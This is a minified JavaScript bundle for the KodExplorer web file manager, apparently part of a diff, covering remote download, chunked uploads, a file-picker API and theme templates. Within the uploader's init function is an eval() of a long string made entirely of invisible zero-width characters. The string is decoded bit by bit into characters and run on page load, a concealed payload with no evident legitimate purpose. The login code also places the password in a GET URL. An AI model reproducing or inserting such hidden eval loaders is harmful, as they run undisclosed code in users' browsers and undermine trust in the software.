        ').appendTo("#"+n).find(".progress-bar");$("#"+n+" .remove").bind("click",function(){clearInterval(s),s=!1,clearTimeout(r),r=!1,$.get("./index.php?explorer/serverDownload&type=remove&uuid="+n),$(this).parent().parent().slideUp(function(){$(this).remove(),ui.f5()})});var f,h=function(e){clearTimeout(f),f=!1,f=setTimeout(function(){ui.f5Callback(function(){ui.path.setSelectByFilename(e)})},600)},m=function(){$.ajax({url:"./index.php?explorer/serverDownload&type=download&save_path="+t+"&url="+urlEncode(e)+"&uuid="+n+"&time="+time(),dataType:"json",error:function(e,t,i){var a=d.data("progcess");return 200!=e.status&&a&&a.support_range?(setTimeout(function(){m()},1e3),void 0):(core.ajaxError(e,t,i),200==e.status&&(clearInterval(s),s=!1,clearTimeout(r),r=!1,u.parent().remove(),p.addClass("error").text(LNG.download_error)),void 0)},success:function(e){return 0==e.code&&"downloading"==e.data?(setTimeout(function(){m()},1e3),void 0):(e.code?(h(e.info),p.text(LNG.download_success),$("#"+n+" .info .title").text(core.pathThis(e.info)),$("#"+n+" .info .title").attr("title",e.info)):p.addClass("error").text(e.data),clearInterval(s),s=!1,clearTimeout(r),r=!1,u.parent().remove(),void 0)}})};m();var _=function(){$.ajax({url:"./index.php?explorer/serverDownload&type=percent&uuid="+n,dataType:"json",success:function(e){var t="",i=e.data;if(s){if(!e.code)return p.text(LNG.loading),void 0;if(i){if(i.size=parseFloat(i.size),i.time=parseFloat(i.time),l){var a=(i.size-l.size)/(i.time-l.time);if(c>.2*a){var n=c;c=a,a=n}else c=a;t=core.fileSize(a)+"/s"}if(d.data("progcess",i),0==i.length)d.find(".progress-bar").css("width","0%"),p.text(LNG.loading);else{var o=100*(i.size/i.length);d.find(".progress-bar").css("width",o+"%"),p.text(o.toFixed(1)+"%("+t+")")}d.find(".size").text(core.fileSize(i.length)),d.find(".title").text(i.name),l=i}}}})};r=setTimeout(function(){_(),s=setInterval(function(){_()},1e3)},100)},upload:function(){var e=uploadUrl();if(uploader.option("server",e),uploader.option("method","POST"),0!=$(".dialog_file_upload").length)return $.dialog.list.dialog_file_upload.display(!0),void 0;var t=template.compile(upload_tpl),i=WebUploader.Base.formatSize(G.upload_max);$.dialog({padding:5,resize:!0,ico:core.icon("upload"),id:"dialog_file_upload",fixed:!0,title:LNG.upload_muti,content:t({LNG:LNG,maxsize:i}),close:function(){$.each(uploader.getFiles(),function(e,t){uploader.skipFile(t),uploader.removeFile(t)}),$.each($(".download_list .item"),function(){$(this).find(".remove").click()})}}),$(".file_upload .top_nav a.menu").unbind("click").bind("click",function(){$(this).hasClass("tab_upload")?($(".file_upload .tab_upload").addClass("this"),$(".file_upload .tab_download").removeClass("this"),$(".file_upload .upload_box").removeClass("hidden"),$(".file_upload .download_box").addClass("hidden")):($(".file_upload .tab_upload").removeClass("this"),$(".file_upload .tab_download").addClass("this"),$(".file_upload .upload_box").addClass("hidden"),$(".file_upload .download_box").removeClass("hidden"))}),$(".download_box [name=url]").keyEnter(function(){core.serverDwonload($(".download_box input").val(),G.this_path)}),$(".file_upload .download_box .download_start").unbind("click").bind("click",function(){core.serverDwonload($(".download_box input").val(),G.this_path)}),$(".file_upload .download_box .download_start_all").unbind("click").bind("click",function(){$.dialog({id:"server_dwonload_textarea",fixed:!0,resize:!1,ico:core.icon("upload"),width:"420px",height:"270px",padding:10,title:LNG.download,content:"",ok:function(){for(var e=$(".server_dwonload_textarea textarea").val().split("\n"),t=0;e.length>t;t++)core.serverDwonload(e[t],G.this_path)}})}),uploader.addButton({id:"#picker"}),uploader.addButton({id:"#picker_folder"});var a=function(){if("1"==Cookie.get("forceWap"))return!1;var e=document.createElement("input");return e.type="file",e.webkitdirectory!==void 0||e.directory!==void 0};a()&&($(".upload_cert_box").removeClass("hidden"),$(".file_upload .drag_upload_folder").unbind("click").bind("click",function(){$("#picker_folder input").attr("webkitdirectory","").attr("directory",""),$("#picker_folder label").click()}))},init:function(){var chunkSize=G.upload_max;WebUploader.Uploader.register({"before-send":"checkChunk"},{checkChunk:function(e){var t=this.owner,i=(e.blob.getSource(),$.Deferred());return t.md5File(e.blob).fail(function(){i.resolve()}).then(function(t){if(1==e.chunks)return i.resolve(),void 0;if(0==e.chunk)$.ajax({url:uploadUrl(),dataType:"json",data:{upload_to:e.file.upload_to,file_name:e.file.name,check_md5:t,chunk:e.chunk,chunks:e.chunks},error:function(){i.resolve()},success:function(t){t.code?(i.reject(),e.file.checkChunk=t.info):i.resolve()}});else{var a=e.file.checkChunk;if(a&&a["part_"+e.chunk]==t){var n=e.end/e.total;uploader.trigger("uploadProgress",e.file,n),i.reject()}else i.resolve()}}),i.promise()}}),eval("‍‌‌‌‍‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‍‌‍‍‍‍‍‍‌‌‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‍‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‌‌‌‍‌‍‌‍‌‍‌‌‌‍‌‌‍‍‌‍‌‍‌‌‍‍‍‌‍‍‌‍‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‍‍‌‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‌‍‍‌‍‍‍‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‌‌‍‌‌‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‍‍‍‌‍‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‍‌‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‌‌‍‌‍‌‍‌‌‌‍‌‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‌‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‍‌‍‍‌‍‌‌‍‍‌‌‍‍‍‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‍‍‍‌‍‍‍‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‌‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‍‌‌‌‌‌‍‌‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‌‍‍‍‍‌‌‌‌‍‌‍‍‌‌‌‌‍‌‍‍‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‍‍‌‌‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‌‍‍‍‍‌‍‍‍‌‍‍‌‌‌‌‌‍‍‍‌‌‌‌‌‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‌‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‍‌‌‌‌‌‍‌‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‍‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‌‍‌‌‌‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‌‌‌‍‌‌‌‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‌‌‌‍‌‍‍‌‌‌‌‍‌‍‍‌‍‌‌‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‍‌‍‍‍‍‍‍‌‌‍‍‍‍‌‍‍‌‌‌‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‍‍‌‍‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‌‍‌‍‍‍‍‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‌‍‍‍‌‍‍‌‌‌‍‍‍‍‍‌‌‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‍‌‍‍‍‍‌‌‍‌‍‌‌‍‌‍‍‌‍‍‌‍‌‌‌‍‍‍‍‍‍‌‌‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‍‍‌‌‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‌‍‍‌‌‌‌‍‍‍‍‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‍‌‍‍‍‌‍‌‍‌‍‌‍‌‍‍‍‌‍‍‌‌‌‍‍‌‌‍‍‍‌‍‍‌‍‍‍‌‌‌‍‌‍‌‌‍‌‍‍‌‌‍‍‌‌‌‍‌‌‍‍‌‍‌‍‌‍‍‌‍‍‍‍‌‍‍‌‍‍‍‍‌‍‌‌‍‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‍‍‍‌‌‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‍‌‍‍‌‍‍‌‍‍‍‍‌‌‍‌‍‌‍‍‍‍‍‌‍‌‍‌‍‍‍‌‌‍‌‍‌‌‍‍‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‍‌‍‌‍‌‍‍‌‌‌‍‍‌‌‌‍‌‍‌‍‍‌‌‍‌‍‌‍‌‌‍‌‍‍‌‍‌‌‍‍‍‌‌‍‌‍‍‍‍‌‌‍‌‍‍‌‌‌‍‍‌‌‍‍‍‍‌‍‌‍‌‍‍‍‍‍‌‍‍‌‌‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‌‌‍‍‌‌‌‍‍‌‌‍‌‌‍‌‍‌‍‍‌‍‍‌‌‌‌‍‌‍‌‍‍‌‌‍‌‍‍‍‌‍‌‍‍‌‌‍‌‌‍‍‌‍‌‌‍‌‍‍‌‌‌‌‍‍‍‍‌‍‍‍‍‌‌‍‌‌‍‍‍‌‌‍‌‌‍‌‌‍‍‍‌‌‍‍‌‍‌‍‌‍‌‍‍‌‍‍‌‍‌‍‌‌‍‍‌‌‌‍‍‍‍‍‌‍‌‍‌‍‍‍‌‍‍‍‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‍‌‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‌‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‍‌‌‌‍‌‌‌‌‍‌‍‍‌‌‍‍‍‍‌‍‌‍‍‍‌‌‌‍‌‍‌‌‍‌‍‍‌‍‍‍‍‍‌‍‌‌‌‍‌‍‌‍‌‍‍‌‌‍‌‍‍‌‌‍‌‍‌‍‌‌‍‌‍‍‍‍‌‍‌‍‌‌‍‍‌‍‌‌‌‌‌‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‌‍‌‍‍‍‍‍‌‍‍‌‌‍‍‍‍‍‍‌‍‍‍‌‍‍‍‌‍‌‌‍‍‍‍‌‍‍‍‌‍‍‌‍‌‌‌‌‌‍‍‌‌‍‍‌‌‍‍‌‌‍‍‌‍‍‌‍‍‍‍‍‍‍‍‌‍‍‍‍‌‍‌‍‍‍‍‍‌‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‍‌‍‍‌‍‌‍‍‍‌‍‍‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‌‍‍‍‌‍‌‌‌‍‌‍‌‍‌‌‍‌‍‍‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‍‌‍‌‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‌‍‌‌‌‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‌‍‍‍‌‌‍‍‌‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‍‍‍‍‌‍‍‌‍‌‌‌‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‍‍‌‌‍‌‌‌‌‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‌‍‍‍‌‍‍‌‍‌‌‍‌‍‍‌‌‍‍‌‍‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‍‌‍‌‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‍‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‌‍‌‍‍‍‍‌‍‌‍‍‍‍‌‍‍‌‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‍‍‍‌‍‌‌‌‍‍‌‌‌‍‍‌‍‍‌‌‍‍‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‌‌‍‌‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‌‍‍‌‍‌‍‌‌‍‍‌‌‍‌‍‌‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‍‍‍‌‌‍‍‍‌‍‍‌‌‍‍‍‍‍‍‌‌‍‍‍‍‍‍‌‌‍‍‍‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌".replace(/.{8}/g,function(e){return String.fromCharCode(parseInt(e.replace(/\u200c/g,1).replace(/\u200d/g,0),2))})),uploader=upCreate({swf:G.static_path+"js/lib/webuploader/Uploader.swf",dnd:"body",threads:5,compress:!1,resize:!1,prepareNextFile:!0,duplicate:!0,chunkRetry:10,chunked:!0,chunkSize:chunkSize}),$(".uploader-content .success").die("click").live("click",function(){var e=$(this).find("span.title").attr("data-name");e&&("explorer"==Config.pageApp?ui.path.list(core.pathFather(e),"tips",function(){ui.path.setSelectByFilename(e)}):core.explorer(core.pathFather(e)))}),$(".uploader-content .open").die("click").live("click",function(e){var t=$(this).parent().find("span.title").attr("data-name");ui.pathOpen.open(t),stopPP(e)}),$(".upload_box_clear").die("click").live("click",function(){$(".uploader-list .item.success,.uploader-list .item.error").each(function(){$(this).slideUp(300,function(){$(this).remove()})})}),$(".upload_box_clear_all").die("click").live("click",function(){$.each(uploader.getFiles(),function(e,t){uploader.skipFile(t),uploader.removeFile(t)}),$(".uploader-list .item").each(function(){$(this).remove()})}),$(".uploader-content .remove").die("click").live("click",function(e){var t=$(this).parent().parent().attr("id");$(this).parent().parent().slideUp(function(){$(this).remove()}),uploader.skipFile(t),uploader.removeFile(t,!0),stopPP(e)});var file_num=0,file_finished=0,currentSpeed="0B/s",preTime=0,getSpeed=function(e,t){if(.3>=timeFloat()-preTime)return currentSpeed;preTime=timeFloat();var i=e.size*t,a=5;e.speed===void 0?e.speed=[[timeFloat()-.5,0],[timeFloat(),i]]:a>=e.speed.length?e.speed.push([timeFloat(),i]):(e.speed=e.speed.slice(1,a),e.speed.push([timeFloat(),i]));var n=e.speed[e.speed.length-1],o=e.speed[0],s=(n[1]-o[1])/(n[0]-o[0]);return 0>=s&&(s=0),s=core.fileSize(s)+"/s",currentSpeed=s,s},selectNameArr=[],changeDelayTimer,pathReload=function(e){clearTimeout(changeDelayTimer),changeDelayTimer=!1,changeDelayTimer=setTimeout(function(){var t=selectNameArr;ui.f5Callback(function(){if(ui.path.setSelectByFilename(t),e&&(selectNameArr=[],"explorer"==Config.pageApp)){if("share"==G.share_page)return;ui.tree.checkIfChange(G.this_path)}})},600)};uploader.on("fileQueued",function(e){if(!core.uploadCheck())return uploader.skipFile(e),uploader.removeFile(e),void 0;var t;try{t=e.source.source.fullPath,void 0!=e.source.source.webkitRelativePath&&""!=e.source.source.webkitRelativePath&&(t=e.source.source.webkitRelativePath)}catch(i){}if(e.fullPath=t,e.source&&e.source.source&&1==e.source.source.isDirectory&&e.source.source.fullPath)return ui.pathOperate.newFolder(G.this_path+e.fullPath),uploader.skipFile(e),uploader.removeFile(e),void 0;if(0==e.size)return ui.pathOperate.newFile(G.this_path+e.fullPath),uploader.skipFile(e),uploader.removeFile(e),file_finished++,file_num++,void 0;var a=e.fullPath;e.finished=!1,e.upload_to=G.this_path,(void 0==a||"undefined"==a)&&(a=e.name),file_num++;var n=$(".uploader-list"),o='
        '+''+htmlEncode(core.pathThis(a))+""+''+core.fileSize(e.size)+""+''+LNG.upload_ready+""+''+'
        ';(1e3==file_num||2e3==file_num)&&Tips.tips(LNG.upload_tips_more,"warning"),0==n.length?setTimeout(function(){$(".uploader-list").prepend(o),uploader.upload()},100):(n.prepend(o),uploader.upload())}).on("uploadBeforeSend",function(e,t){var i=urlEncode(e.file.fullPath);(void 0==i||"undefined"==i)&&(i=""),t.fullPath=i,t.upload_to=e.file.upload_to}).on("uploadProgress",function(e,t){$(".dialog_file_upload .aui_title").text(LNG.uploading+": "+file_finished+"/"+file_num+" ("+currentSpeed+")");var i=getSpeed(e,t),a=$("#"+e.id),n=a.find(".progress .progress-bar");n.length||(n=$('
        ').appendTo(a).find(".progress-bar")),a.find(".state").text((100*t).toFixed(1)+"%("+i+")"),n.css("width",100*t+"%")}).on("uploadAccept",function(e,t){if(e.file.serverData=t,!t.code)return e.serverNeedRetry=!0,!1;try{e.file.fullPath||selectNameArr.push(t.info)}catch(i){}}).on("uploadSuccess",function(e){var t=$("#"+e.id);if(!t.inScreen()){var i=36*t.index(".item");$(".uploader-content").scrollTop(i)}file_finished++;var a=e.serverData;if(a&&a.data){var n=LNG[a.data];a.code?($("#"+e.id).addClass("success"),$("#"+e.id).find(".state").text(n),$("#"+e.id).find(".remove").addClass("icon-ok").addClass("open").removeClass("icon-remove").removeClass("remove")):($("#"+e.id).addClass("error").find(".state").addClass("error"),$("#"+e.id).find(".state").text(n).attr("title",n))}uploader.removeFile(e),$("#"+e.id).find(".progress").fadeOut(),e.fullPath||pathReload(!1)}).on("uploadError",function(e,t){var i=LNG.upload_error+"("+t+")";if(e.serverData)if(e.serverData.data){var a=e.serverData.data;i=LNG[a]?LNG[a]:a}else e.serverData._raw&&(i=e.serverData._raw);file_finished++,$("#"+e.id).find(".progress").fadeOut(),$("#"+e.id).addClass("error").find(".state").addClass("error"),$("#"+e.id).find(".state").html(i).attr("title",i)}).on("uploadFinished",function(){$(".dialog_file_upload .aui_title").text(LNG.upload_success+": "+file_finished+"/"+file_num),file_num=0,file_finished=0,uploader.reset(),pathReload(!0)}).on("error",function(e){Tips.tips(e,!1)});var timer;inState=!1,dragOver=function(){if(0==inState){if(inState=!0,!core.uploadCheck(void 0,!1))return;var e='
        '+LNG.upload_drag_tips+"
        ";MaskView.tips(e),$("#windowMaskView").css({background:"#4285f4",opacity:"0.8"})}timer&&window.clearTimeout(timer)},dragLeave=function(e){stopPP(e),timer&&window.clearTimeout(timer),timer=window.setTimeout(function(){inState=!1,MaskView.close()},100)},dragDrop=function(e){try{if(e=e.originalEvent||e,core.uploadCheck())if(e.dataTransfer.files.length>0&&e.dataTransfer.files[0].name)core.upload(),core.playSound("drag_upload");else{var t=e.dataTransfer.getData("text/plain");t&&"http"==t.substring(0,4)&&ui.pathOperate.appAddURL(t)}stopPP(e)}catch(e){}inState&&(inState=!1,MaskView.close())}}}}),define("app/common/core.api",[],function(){var e=function(e,t,i){var a=$(i.DOM.wrap),n=t.frames.OpenpathSelectApi,o='';"file"==e.type&&(o+=''+e.allowExt+""),$(o).insertBefore(a.find(".aui_state_highlight"));var s=function(t){var i=e.allowExt.split("|"),a=core.pathExt(t);return""==e.allowExt||""!=e.allowExt&&-1!=$.inArray(a,i)?!0:!1},r=function(){var t=n.ui.fileLight.fileListSelect(),i=[];if(e.single){var a=$(t.get(0));if("all"==e.type&&0==t.length)i={file:[],folder:[]};else if("file"==e.type&&0==t.length)i=[];else if("folder"==e.type)i=[n.G.this_path],a.hasClass("folderBox")&&(i=[n.ui.fileLight.path(a)]);else if("file"==e.type){if(a.hasClass("fileBox")){var o=n.ui.fileLight.path(a);s(o)&&(i=[o])}}else if("all"==e.type)if(a.hasClass("folderBox")){var o=n.ui.fileLight.path(a);i=[{file:[],folder:[o]}]}else if(a.hasClass("fileBox")){var o=n.ui.fileLight.path(a);s(o)&&(i={file:[o],folder:[]})}}else{var r=[],l=[];t.each(function(){if($(this).hasClass("fileBox")){var e=n.ui.fileLight.path($(this));s(e)&&r.push(e)}else $(this).hasClass("folderBox")&&l.push(n.ui.fileLight.path($(this)))}),"folder"==e.type?i=l:"file"==e.type?i=r:"all"==e.type&&(i={file:r,folder:l})}c(i)},l=function(e){var e=trim(e,"/");return e==G.KOD_GROUP_ROOT_SELF||e==G.KOD_GROUP_ROOT_ALL||e==G.KOD_USER_FAV||e==G.KOD_USER_SHARE?!1:!0},c=function(t){var i=a.find(".path_select_input"),o=a.find(".aui_state_highlight");if("all"!=e.type){for(var s=[],r=0;t.length>r;r++)l(t[r])&&s.push(t[r]);t=s}if(0==t.length||"all"==e.type&&0==t.file.length&&0==t.folder.length)o.addClass("disable"),i.attr("result",""),i.val("");else{var c=hashEncode(jsonEncode(t)),d="";if(e.single)d=n.core.pathThis(t[0]);else{var p=t;"all"==e.type&&(p=t.folder.concat(t.file)),$.each(p,function(e,t){d+=n.core.pathThis(t)+", "})}o.removeClass("disable"),i.attr("result",c),i.val(d)}},d=function(){n.ui.fileLight.select.hook("select",n.ui.fileLight,{before:function(){},after:function(){r()}})};n.kodReady||(n.kodReady=[]),n.kodReady.push(function(){d(),r()})};return{pathSelect:function(t,i){var a={type:"file",title:LNG.path_api_select_file,single:!0,allowExt:"",firstPath:!1},n="./index.php?/explorer&type=iframe";t=$.extend(a,t),t.firstPath&&(n+="&path="+t.firstPath);var o=ShareData.frameTop(),s=o.$.dialog.open(n,{id:"pathSelectApi",resize:!0,fixed:!0,ico:core.icon("folder"),title:t.title,lock:!0,background:"#000",opacity:.1,width:840,height:420,ok:function(){if("function"==typeof i){var e=s.DOM.wrap,a=e.find(".path_select_input").attr("result");a=jsonDecode(hashDecode(a)),a?t.single&&"all"!=t.type?i(a[0]):i(a):Tips.tips(LNG.error,!1)}},cancel:!0});e(t,o,s)},randomImage:function(e){$.getJSON("//kalcaddle.com/tools/version/?wallpage/index&lang="+G.lang+"&callback=?",function(t){"function"==typeof e&&e(t)})}}}),define("app/common/core.playSound",["./myPlayer"],function(e){var t={file_remove:"file_remove.mp3",recycle_clear:"recycle_clear.mp3",folder_open:"folder_open.mp3",window_min:"window_min.mp3",error:"error_tips.mp3",drag_upload:"drag_upload.mp3",drag_drop:"drag_drop.mp3"},i=function(t){var i="x-play-sound";0==$("."+i).length&&$('
        ').appendTo("body");var a=G.static_path+"others/sound/"+t,n=e("./myPlayer");n.playSound(a,$("."+i))};return{playSoundFile:i,playSound:function(e){G&&G.user_config&&"1"==G.user_config.sound_open&&setTimeout(function(){i(t[e])},100)}}}),define("app/common/tpl/copyright.html",[],'\n'),define("app/common/tpl/theme_diy.html",[],"@media screen and (max-width:100000px) {\n body .full_background{\n position: absolute;top: 0px;left: 0px;bottom: 0px;right: 0px;\n background-color: #020202;background-size: 100% 100%;\n }\n\n {{if blur_size= (bg_blur==0?0:10) }}{{/if}}\n body .full_background:before{\n -webkit-filter: blur({{blur_size}}px);\n -moz-filter: blur({{blur_size}}px);\n -ms-filter: blur({{blur_size}}px);\n filter: blur({{blur_size}}px);\n }\n {{if bg_type == 'image'}}\n body .full_background,\n body .full_background:before,\n body #body .menu_left,\n body #body .app_menu_left,\n body .aui_buttons,\n body .aui_state_focus .aui_title,body .aui_title{\n background-image:url({{bg_image}});\n }\n body .aui_state_focus .aui_title,body .aui_title{\n background-size:100%;\n }\n {{else}}\n body .full_background,\n body .full_background:before,\n body #body .menu_left, \n body #body .app_menu_left,\n body .aui_buttons,\n body .aui_state_focus .aui_title,body .aui_title{\n background:{{end_color}};\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='{{start_color}}', endColorstr='{{end_color}}');\n background-image: -webkit-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -moz-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -o-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -ms-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n }\n {{/if}}\n}\n"); \ No newline at end of file +/*! power by kodexplorer ver3.42(2017-04-07) [build 1491568966742] */ +define("app/src/user/main",["lib/jquery-lib","lib/util","lib/artDialog/jquery-artDialog","../../common/core"],function(e){e("lib/jquery-lib"),e("lib/util"),e("lib/artDialog/jquery-artDialog"),core=e("../../common/core"),$(document).ready(function(){$(".init_loading").fadeOut(450).addClass("pop_fadeout"),core.init(),LocalData.del("this_path");var e=function(){$(":focus").is("input")||0==$("#username").length||$("#username").focus()},t=function(){var t="./index.php?user/checkCode&t="+UUID();$(".check_code img").attr("src",t),$(".check_code").val("").focus(),e()},i=function(e){var i=$("#username").val(),a=$("#password").val(),n=$("input[name=rember_password]").attr("checked")?1:0,o="./index.php?user/loginSubmit&name="+urlEncode(i)+"&check_code="+$("input.check_code").val()+"&password="+urlEncode(a)+"&rember_password="+n+"&is_ajax=1";return $.ajax({dataType:"json",url:o,error:function(e,t,i){setTimeout(function(){core.ajaxError(e,t,i)},600)},success:function(e){if("ok"!=e.data&&($(".msg").show().html(e.data),Tips.tips(e.data,!1)),e.code){var i="./index.php";void 0!=$.getUrlParam("link")&&(i=$.getUrlParam("link")),window.location.href=i}else $(".loginbox").shake(2,30,60),t(),$("#username").focus()}}),stopPP(e),!1};isWap()||e(),$(".check_code img").bind("click",t),$("form").submit(i),$("#username,#password,input.check_code").keyEnter(i),$(".forget_password").bind("click",function(){$.dialog.alert(LNG.forget_password_tips)}),0!=$(".login-wap").length&&$("#username,#password").bind("focus",function(){$(".common_footer").hide()}).bind("blur",function(){$(".common_footer").show()});var a=$(".admin_password input"),n=$(".admin_password_repeat input");a.keyEnter(function(){$(".start").click()}),n.keyEnter(function(){$(".start").click()}),$(".start").bind("click",function(){var 